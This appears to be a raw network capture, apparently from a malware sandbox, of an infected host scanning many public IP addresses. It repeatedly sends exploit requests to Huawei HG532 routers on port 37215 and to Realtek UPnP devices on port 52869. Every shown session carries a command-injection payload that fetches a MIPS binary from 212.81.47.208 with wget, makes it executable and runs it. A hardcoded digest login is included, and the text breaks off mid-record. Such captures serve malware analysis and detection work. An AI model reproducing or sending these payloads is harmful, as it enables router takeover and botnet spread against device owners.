Dec 4, 2024 20:34:28.137950897 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	56986	41.58.254.48	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.193680048 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	48866	197.96.143.60	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.194451094 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	37004	197.89.67.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.287170887 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	44464	156.139.144.163	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.287906885 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	59482	41.192.219.57	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.288511992 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	53292	41.16.199.204	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.903697968 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	51564	156.151.128.175	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.904640913 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	34774	41.181.147.225	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.905239105 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	44568	156.165.42.93	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.905787945 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	46408	197.42.34.155	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.906380892 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 